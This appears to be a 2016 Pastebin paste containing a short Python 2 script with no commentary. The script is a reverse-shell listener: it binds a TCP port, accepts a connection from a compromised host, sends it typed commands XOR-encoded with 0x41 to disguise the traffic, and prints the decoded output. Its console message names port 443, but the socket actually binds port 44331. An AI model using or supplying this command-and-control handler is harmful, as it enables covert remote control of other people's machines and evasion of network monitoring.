Advertisement
Guest User

Untitled

a guest
May 27th, 2016
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.52 KB | None | 0 0
  1. import socket
  2.  
  3. s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4. s.bind(("0.0.0.0", 44331))
  5. s.listen(2)
  6. print "Listening on port 443... "
  7. (client, (ip, port)) = s.accept()
  8. print " Received connection from : ", ip
  9.  
  10. while True:
  11. command = raw_input('~$ ')
  12. encode = bytearray(command)
  13. for i in range(len(encode)):
  14. encode[i] ^=0x41
  15. client.send(encode)
  16. en_data=client.recv(2048)
  17. decode = bytearray(en_data)
  18. for i in range(len(decode)):
  19. decode[i] ^=0x41
  20. print decode
  21.  
  22. client.close()
  23. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement